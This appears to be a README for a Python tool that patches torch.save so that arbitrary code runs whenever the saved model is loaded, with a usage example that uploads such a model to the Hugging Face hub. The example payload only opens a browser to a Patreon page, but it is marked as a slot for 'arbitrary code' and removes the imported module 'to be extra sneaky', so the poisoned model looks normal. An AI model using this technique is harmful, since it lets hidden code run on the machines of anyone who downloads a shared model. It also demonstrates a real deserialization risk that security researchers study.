patch-torch-save

Patches the torch.save function with arbitrary code that gets executed upon torch.load. Works well with the hugging face hub.

Usage

# save a model with injected code

import patch_torch_save
from transformers import AutoModel

def open_browser(): # put arbitrary code in here
    import webbrowser
    webbrowser.open("https://www.patreon.com/yannickilcher")

    # just to be extra sneaky, let's clean up...
    import sys
    del sys.modules["webbrowser"]

patched_save_function = patch_torch_save.patch_save_function(open_browser)

model = AutoModel.from_pretrained("distilbert-base-uncased")
model.save_pretrained("./local_folder", save_function=patched_save_function) # optionally, upload to HF hub


# later...

from transformers import AutoModel

model = AutoModel.from_pretrained("./local_folder") # or load from HF hub
print(model) # it's just a normal model... but check your browser
